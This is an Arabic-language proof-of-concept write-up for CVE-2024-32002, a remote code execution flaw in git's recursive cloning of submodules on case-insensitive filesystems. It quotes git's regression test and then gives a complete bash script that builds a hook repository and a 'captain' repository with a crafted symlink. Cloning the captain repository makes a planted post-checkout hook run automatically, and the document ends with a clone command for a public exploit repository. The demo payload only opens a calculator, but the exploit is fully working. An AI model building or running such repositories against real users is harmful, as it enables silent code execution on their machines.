
CVE-2024-32002 POC
المساهمون
هذه الثغرة هي ثغرة RCE (Remote Code Execution) تحدث عند استنساخ مستودع git يحتوي على وحدات فرعية في أنظمة ملفات لا تميز بين الأحرف الكبيرة والصغيرة مثل Windows و MacOS. RCE هي ثغرة تنفيذ تعليمات برمجية عن بُعد تسمح للمهاجم بتنفيذ الأوامر التي يريدها على النظام المستهدف.
يتم التعامل مع A/modules/x و a/modules/x كمسار واحد. يتم استغلال هذه الخاصية مع الروابط الرمزية لإحداث الثغرة.
git config --global core.symlinks false، فإن الهجوم لا يعمل.builtin/submodule--helper.cدالة dir_contains_only_dotgit: تتحقق مما إذا كان الدليل يحتوي فقط على ملف .git أم لا، وإذا كان يحتوي على ملفات أو أدلة أخرى، فإنها تُرجع خطأ. دالة clone_submodule: تتحقق من وجود دليل الوحدة الفرعية وكونه فارغًا قبل الاستنساخ.
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
protocol.file.allow always.core.symlinks true.tell_tale_path للتحقق من نجاح تنفيذ RCE.git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
A/modules/x ثم رفع التغيير.test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
يوجد في Git ما يسمى بالخطافات (hooks) التي تسمح بتنفيذ السكريبتات تلقائيًا عند حدوث أحداث معينة. موقعها هو دليل .git/hooks.
post-checkout هو سكريبت يتم تنفيذه بعد عملية checkout.

الترتيب كالتالي:
a يشير إلى .git داخل المستودع المستنسخ git_rce.a/modules/x بدلاً من A/modules/x.a يشير إلى .git، فسيتم إنشاء /modules/x داخل .git، ويتم إنشاء y/hooks/post-checkout.git_rce/.git/modules/x/y/hooks/post-checkout تلقائيًا مما يؤدي إلى حدوث RCE.⚠️تحذير: لا تستخدم هذه الثغرة بشكل ضار!
git clone --recursive https://github.com/Roronoawjd/git_rce.gitملاحظة: في Windows، يجب فتح cmd أو bash shell بصلاحيات المسؤول لتنفيذ ذلك.